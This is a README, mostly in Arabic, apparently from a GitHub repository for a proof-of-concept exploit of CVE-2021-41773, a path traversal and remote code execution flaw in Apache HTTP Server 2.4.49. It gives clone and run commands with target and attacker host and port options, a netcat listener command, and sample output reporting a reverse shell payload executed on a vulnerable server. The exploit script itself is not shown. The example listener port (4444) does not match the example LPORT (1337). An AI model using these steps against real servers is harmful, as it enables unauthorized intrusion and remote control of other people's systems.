adrianmafandy/cve-2021-41773استغلال إثبات المفهوم لـ CVE-2021-41773، وهي ثغرة اجتياز المسار وتنفيذ التعليمات البرمجية عن بُعد في Apache HTTP Server 2.4.49. يقوم بأتمتة فحص الثغرة وتنفيذ حمولة الصدفة العكسية.
هذا هو إثبات مفهوم لاستغلال الثغرة CVE-2021-41773، وهي ثغرة اجتياز المسار وتنفيذ الأوامر عن بعد في خادم Apache HTTP Server 2.4.49.
git clone https://github.com/adrianmafandy/CVE-2021-41773
cd CVE-2021-41773
pip install requests
# Basic syntax
python3 exploit.py -t <TARGET-URL> -lh <LHOST> -lp <LPORT>
# Force exploitation even if vulnerability check fails
python3 exploit.py -t <TARGET-URL> -lh <LHOST> -lp <LPORT> -f
# Basic syntax
python3 exploit.py -t 192.168.1.100 -lh 10.0.0.5 -lp 1337
# Force exploitation even if vulnerability check fails
python3 exploit.py -t 192.168.1.100 -lh 10.0.0.5 -lp 1337 -f
قبل تشغيل الأداة، قم بإعداد مستمع netcat:
nc -lvnp 4444
$ python3 exploit.py -t 192.168.1.100 -lh 10.0.0.5 -lp 1337
______
(_____ \
_____) ) _ _ ____ ____ ___ ____
| ____/ | | | _ \ / ___) _ \ / _ |
| | | | | | | | | | | |_| ( (_| |
|_| \___/|_| |_|_| \___/ \___ |
(_____|
Apache2 2.4.49 - CVE-2021-41773
[*] Checking if target is vulnerable...
[+] Target is VULNERABLE!
[*] Executing reverse shell payload...
[+] Reverse shell payload executed successfully!
[*] Check your listener